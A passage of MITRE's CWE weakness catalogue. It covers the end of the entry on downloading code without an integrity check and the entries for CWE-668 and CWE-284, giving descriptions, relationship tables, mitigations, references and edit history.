MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1411	Comprehensive Categorization: Insufficient Verification of Data Authenticity

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Invoking untrusted mobile code
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J	Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault Patterns	SFP27	Tainted input to environment

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-184	Software Integrity Attack
CAPEC-185	Malicious Software Download
CAPEC-186	Malicious Software Update
CAPEC-187	Malicious Automated Software Update via Redirection
CAPEC-533	Malicious Manual Software Update
CAPEC-538	Open-Source Library Manipulation
CAPEC-657	Malicious Automated Software Update via Spoofing
CAPEC-662	Adversary in the Browser (AiTB)
CAPEC-691	Spoof Open-Source Software Metadata
CAPEC-692	Spoof Version Control System Commit Metadata
CAPEC-693	StarJacking
CAPEC-695	Repo Jacking

References

[REF-454] Microsoft. "Introduction to Code Signing". <http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx>.

[REF-455] Microsoft. "Authenticode". <http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx>.

[REF-456] Apple. "Code Signing Guide". Apple Developer Connection. 2008-11-19. <https://web.archive.org/web/20080724215143/http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html>. URL validated: 2023-04-07.

[REF-457] Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". <http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 18: The Sins of Mobile Code." Page 267. McGraw-Hill. 2010.

[REF-459] Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". SANS Software Security Institute. 2010-04-05. <https://www.sans.org/blog/top-25-series-rank-20-download-of-code-without-integrity-check/>. URL validated: 2023-04-07.

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. URL validated: 2024-11-17.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Applicable_Platforms, Common_Consequences, Description, Name, Other_Notes, Potential_Mitigations, References, Relationships, Research_Gaps, Type
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Description, Observed_Examples, Related_Attack_Patterns
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Detection_Factors, References, Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Applicable_Platforms
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations, References
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships, Taxonomy_Mappings
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Demonstrative_Examples, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Demonstrative_Examples
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated References, Related_Attack_Patterns
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Demonstrative_Examples
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References, Related_Attack_Patterns
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Related_Attack_Patterns
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples, Relationships
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Mobile Code: Invoking Untrusted Mobile Code
2009-01-12	Download of Untrusted Mobile Code Without Integrity Check

Weakness ID: 668

Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Other	Technical Impact: Read Application Data; Modify Application Data; Other

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	664	Improper Control of a Resource Through its Lifetime
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	8	J2EE Misconfiguration: Entity Bean Declared Remote
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	134	Use of Externally-Controlled Format String
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	200	Exposure of Sensitive Information to an Unauthorized Actor
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	374	Passing Mutable Objects to an Untrusted Method
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	375	Returning a Mutable Object to an Untrusted Caller
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	377	Insecure Temporary File
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	402	Transmission of Private Resources into a New Sphere ('Resource Leak')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	427	Uncontrolled Search Path Element
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	428	Unquoted Search Path or Element
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	488	Exposure of Data Element to Wrong Session
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	491	Public cloneable() Method Without Final ('Object Hijack')
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	492	Use of Inner Class Containing Sensitive Data
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	493	Critical Public Variable Without Final Modifier
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	498	Cloneable Class Containing Sensitive Information
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	499	Serializable Class Containing Sensitive Data
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	522	Insufficiently Protected Credentials
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	524	Use of Cache Containing Sensitive Information
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	552	Files or Directories Accessible to External Parties
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	582	Array Declared Public, Final, and Static
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	583	finalize() Method Declared Public
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	608	Struts: Non-private Field in ActionForm Class
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	642	External Control of Critical State Data
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	732	Incorrect Permission Assignment for Critical Resource
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	767	Access to Critical Private Variable via Public Method
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	927	Use of Implicit Intent for Sensitive Communication
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1282	Assumed-Immutable Data is Stored in Writable Memory
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1327	Binding to an Unrestricted IP Address
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1331	Improper Isolation of Shared Resources in Network On Chip (NoC)
CanFollow	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	441	Unintended Proxy or Intermediary ('Confused Deputy')
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	942	Permissive Cross-domain Policy with Untrusted Domains

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	134	Use of Externally-Controlled Format String
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	426	Untrusted Search Path
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	427	Uncontrolled Search Path Element
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	428	Unquoted Search Path or Element
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	552	Files or Directories Accessible to External Parties

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	963	SFP Secondary Cluster: Exposed Data
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1403	Comprehensive Categorization: Exposed Resource

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Frequent Misuse, Abstraction

Rationale:

CWE-668 is high-level and is often misused as a catch-all when lower-level CWE IDs might be applicable. It is sometimes used for low-information vulnerability reports [REF-1287]. It is a level-1 Class (i.e., a child of a Pillar). It is not useful for trend analysis.

Comments:

Closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.

Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

References

[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>. URL validated: 2024-11-17.

Content History

Submissions
Submission Date	Submitter	Organization
2008-04-11 (CWE Draft 9, 2008-04-11)	CWE Content Team	MITRE
2008-04-11 (CWE Draft 9, 2008-04-11)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Relationships
2009-07-22	CWE Content Team	MITRE
2009-07-22	Clarified description to include permissions.
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Description, Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Other_Notes, Theoretical_Notes
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Relationships
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, Relationships, Relevant_Properties
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 284

Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.

View customized information:

Description

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Extended Description

Access control involves the use of several protection mechanisms such as:

Authentication (proving the identity of an actor)
Authorization (ensuring that a given actor can access a resource), and
Accountability (tracking of activities that were performed)

When any mechanism is not applied or otherwise fails, attackers can compromise the security of the product by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.
Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

Alternate Terms

Authorization:	The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

Common Consequences

Scope	Impact	Likelihood
Other	Technical Impact: Varies by Context

Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1000	Research Concepts
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	269	Improper Privilege Management
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	282	Improper Ownership Management
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	285	Improper Authorization
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	286	Incorrect User Management
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	287	Improper Authentication
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	346	Origin Validation Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	749	Exposed Dangerous Method or Function
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	923	Improper Restriction of Communication Channel to Intended Endpoints
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1191	On-Chip Debug and Test Interface With Improper Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1220	Insufficient Granularity of Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1224	Improper Restriction of Write-Once Bit Fields
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1231	Improper Prevention of Lock Bit Modification
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1233	Security-Sensitive Hardware Controls with Missing Lock Bit Protection
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1242	Inclusion of Undocumented Features or Chicken Bits
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1252	CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1257	Improper Access Control Applied to Mirrored or Aliased Memory Regions
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1259	Improper Restriction of Security Token Assignment
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1260	Improper Handling of Overlap Between Protected Memory Ranges
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1262	Improper Access Control for Register Interface
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1263	Improper Physical Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1267	Policy Uses Obsolete Encoding
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1268	Policy Privileges are not Assigned Consistently Between Control and Data Agents
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1270	Generation of Incorrect Security Tokens
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1274	Improper Access Control for Volatile Memory Containing Boot Code
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1276	Hardware Child Block Incorrectly Connected to Parent System
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1280	Access Control Check Implemented After Asset is Accessed
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1283	Mutable Attestation or Measurement Reporting Data
